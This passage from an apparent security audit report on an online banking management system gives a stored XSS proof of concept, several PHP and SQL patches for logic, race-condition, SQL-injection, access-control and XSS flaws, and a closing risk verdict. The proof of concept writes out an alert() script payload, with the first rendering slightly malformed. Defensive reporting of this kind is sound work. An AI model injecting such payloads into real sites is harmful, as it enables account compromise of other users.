<b>Proof of Concept</b>	1. Login as a standard user. 2. Navigate to the Feedback page. 3. <b>Enter the payload:</b> <code>&lt;/script&gt;alert('Dr Evil owns you')&lt;/script&gt;</code> . (The original proof-of-concept shows a backslash escape which is likely intended to bypass SQL filtering before storage). 4. Login as Manager and view the Feedback page. <b>Result:</b> The JavaScript payload executes immediately.

- **Severity: High**
- **Steps to reproduce:**
  - Login as a standard user.
  - Navigate to the Feedback page.
  - Enter the payload: `<script>alert(\\"Dr Evil owns you\\")</script>` (Note: The backslash escapes the single quote to bypass SQL errors).
  - Login as Manager and view the Feedback page.
  - Result: The JavaScript payload executes immediately.



○



## 4. TECHNICAL REMEDIATION

We recommend immediate patching of the following 5 security flaws.

**A. Patching the Logic Flaw (Infinite Money) Fix:** Enforce server-side integer validation. Reject negative numbers.

#PHP code

```
// File: transfer.php
$amount = filter_input(INPUT_POST, 'amount', FILTER_VALIDATE_INT);
if ($amount === false || $amount <= 0) {
    die("Error: Invalid Transaction Amount.");
}
```

**B. Patching the Race Condition (Double Spend) Fix:** Use atomic database transactions with row locking (`FOR UPDATE`) to serialize requests.

#SQL code

```
-- SQL Strategy
START TRANSACTION;
SELECT balance FROM user_accounts WHERE id = ? FOR UPDATE;
-- (Perform PHP Logic Check Here)
UPDATE user_accounts SET balance = balance - ? WHERE id = ?;
COMMIT;
```

**C. Patching RCE & SQL Injection Fix:** Replace all dynamic SQL queries with Prepared Statements. Revoke `database user FILE privileges`.

```
#PHP code
// File: transfer.php / login.php
// OLD: $conn->query("SELECT * FROM users WHERE id = '$id'");
// NEW:
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("s", $id);
$stmt->execute();
```

**D. Patching Broken Access Control (IDOR) Fix:** Implement a session-based role check at the top of every administrative file.

```
#PHP code
// File: mindex.php, maccounts.php, mfeedback.php
session_start();
if (!isset($_SESSION['manager_id'])) {
    header("Location: /bank/login.php");
    exit();
}
```

**E. Patching Stored XSS Fix:** Apply output encoding when displaying user-generated content (Feedback).

```
#PHP code
// File: mfeedback.php
// OLD: echo $row['message'];
// NEW:
echo htmlspecialchars($row['message'], ENT_QUOTES, 'UTF-8');
```

---

## 5. CLOSING ANALYSIS

**Risk Assessment: CRITICAL** The Online Banking Management System v1.0 contains fundamental architectural flaws. The combination of **Remote Code Execution (RCE)** and **Financial Logic Bypasses** allows any authenticated user to compromise the host server and manipulate financial records at will.

**Final Verdict:** The application is **unsafe for production** in its current state.

- **Immediate Action:** Take the application offline.
- **Long Term:** Implement the code patches detailed in Section 4 and conduct a full code review before redeployment.

**Syntropy Security** advises strictly against using this software until a verified patch is released.